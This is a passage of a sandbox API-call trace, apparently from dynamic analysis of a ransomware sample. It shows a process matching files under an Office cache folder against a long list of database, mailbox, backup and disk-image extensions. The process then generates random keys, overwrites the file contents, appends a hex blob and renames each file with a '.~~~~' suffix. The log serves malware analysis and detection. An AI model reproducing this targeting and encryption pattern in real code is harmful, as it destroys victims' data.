	[0073.651] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0073.651] GetLastError () returned 0x0
	[0073.651] GetLastError () returned 0x0
	[0073.651] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0073.651] GetLastError () returned 0x0
	[0073.651] GetLastError () returned 0x0
	[0073.651] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x4cf, lpOverlapped=0x0) returned 1
	[0075.139] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffb31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.139] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x4cf, lpOverlapped=0x0) returned 1
	[0075.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0075.139] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.139] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.140] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.140] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.140] CloseHandle (hObject=0x120) returned 1
	[0075.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0075.144] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.~~~~")) returned 1
	[0075.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0075.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0075.145] GetLastError () returned 0x0
	[0075.145] RtlWakeConditionVariable () returned 0x365f70
	[0075.145] GetCurrentThreadId () returned 0x9f4
	[0075.146] GetCurrentThreadId () returned 0x9f4
	[0075.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0075.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e73a8 | out: hHeap=0x300000) returned 1
	[0075.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e260 | out: hHeap=0x300000) returned 1
	[0075.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e73a8
	[0075.146] lstrlenW (lpString=".scr") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0075.146] lstrlenW (lpString=".cmd") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0075.146] lstrlenW (lpString=".dll") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0075.146] lstrlenW (lpString=".bat") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0075.146] lstrlenW (lpString=".cpl") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0075.146] lstrlenW (lpString=".sys") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0075.146] lstrlenW (lpString=".msc") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0075.146] lstrlenW (lpString=".com") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0075.146] lstrlenW (lpString=".lnk") returned 4
	[0075.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0075.146] lstrlenW (lpString=".msp") returned 4
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0075.147] lstrlenW (lpString=".pif") returned 4
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0075.147] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0075.147] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0075.147] lstrlenW (lpString=".sqb") returned 4
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0075.147] lstrlenW (lpString=".ost") returned 4
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0075.147] lstrlenW (lpString=".txt") returned 4
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0075.147] lstrlenW (lpString=".mdt") returned 4
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0075.147] lstrlenW (lpString=".BDB") returned 4
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0075.147] lstrlenW (lpString=".eql") returned 4
	[0075.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0075.147] lstrlenW (lpString=".DBF") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0075.148] lstrlenW (lpString=".EQL") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0075.148] lstrlenW (lpString=".FDB") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0075.148] lstrlenW (lpString=".EDB") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0075.148] lstrlenW (lpString=".DACPAC") returned 7
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0075.148] lstrlenW (lpString=".VHD") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0075.148] lstrlenW (lpString=".DBV") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0075.148] lstrlenW (lpString=".dacpac") returned 7
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0075.148] lstrlenW (lpString=".sdf") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0075.148] lstrlenW (lpString=".accdb") returned 6
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0075.148] lstrlenW (lpString=".DBX") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0075.148] lstrlenW (lpString=".MDT") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0075.148] lstrlenW (lpString=".SQB") returned 4
	[0075.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0075.148] lstrlenW (lpString=".vhd") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0075.149] lstrlenW (lpString=".bac") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0075.149] lstrlenW (lpString=".mdf") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0075.149] lstrlenW (lpString=".BAK") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0075.149] lstrlenW (lpString=".BAC") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0075.149] lstrlenW (lpString=".dbs") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0075.149] lstrlenW (lpString=".vhdx") returned 5
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0075.149] lstrlenW (lpString=".NDF") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0075.149] lstrlenW (lpString=".dat") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0075.149] lstrlenW (lpString=".DBS") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0075.149] lstrlenW (lpString=".CKP") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0075.149] lstrlenW (lpString=".edb") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0075.149] lstrlenW (lpString=".PST") returned 4
	[0075.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0075.149] lstrlenW (lpString=".dbf") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0075.150] lstrlenW (lpString=".SQL") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0075.150] lstrlenW (lpString=".pst") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0075.150] lstrlenW (lpString=".dbv") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0075.150] lstrlenW (lpString=".SDF") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0075.150] lstrlenW (lpString=".dtxs") returned 5
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0075.150] lstrlenW (lpString=".db3") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0075.150] lstrlenW (lpString=".OST") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0075.150] lstrlenW (lpString=".dbx") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0075.150] lstrlenW (lpString=".DB3") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0075.150] lstrlenW (lpString=".DAT") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0075.150] lstrlenW (lpString=".VHDX") returned 5
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0075.150] lstrlenW (lpString=".ndf") returned 4
	[0075.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0075.150] lstrlenW (lpString=".DB") returned 3
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0075.151] lstrlenW (lpString=".sql") returned 4
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0075.151] lstrlenW (lpString=".MYD") returned 4
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0075.151] lstrlenW (lpString=".DBT") returned 4
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0075.151] lstrlenW (lpString=".ACCDB") returned 6
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0075.151] lstrlenW (lpString=".fdb") returned 4
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0075.151] lstrlenW (lpString=".bak") returned 4
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0075.151] lstrlenW (lpString=".myd") returned 4
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0075.151] lstrlenW (lpString=".DTXS") returned 5
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0075.151] lstrlenW (lpString=".ckp") returned 4
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0075.151] lstrlenW (lpString=".dbt") returned 4
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0075.151] lstrlenW (lpString=".db") returned 3
	[0075.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0075.152] lstrlenW (lpString=".TXT") returned 4
	[0075.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0075.152] lstrlenW (lpString=".MDF") returned 4
	[0075.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0075.152] lstrlenW (lpString=".bdb") returned 4
	[0075.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0075.152] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0075.152] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e7e8
	[0075.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.152] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0075.153] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.153] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0075.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0075.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0075.153] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19514337366) returned 1
	[0075.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x96bc2a10, dwHighDateTime=0x1d60e1e)) 
	[0075.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0075.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0075.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0075.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e260
	[0075.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e260 | out: hHeap=0x300000) returned 1
	[0075.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0075.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6880
	[0075.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0075.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0075.154] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0075.154] GetLastError () returned 0x0
	[0075.154] GetLastError () returned 0x0
	[0075.154] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0075.154] GetLastError () returned 0x0
	[0075.155] GetLastError () returned 0x0
	[0075.155] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x73c, lpOverlapped=0x0) returned 1
	[0075.157] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.157] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x73c, lpOverlapped=0x0) returned 1
	[0075.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0075.157] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.157] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.158] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.158] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.158] CloseHandle (hObject=0x120) returned 1
	[0075.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0075.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0075.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0075.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0075.161] GetLastError () returned 0x0
	[0075.161] RtlWakeConditionVariable () returned 0x365f70
	[0075.161] GetCurrentThreadId () returned 0x9f4
	[0075.161] GetCurrentThreadId () returned 0x9f4
	[0075.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
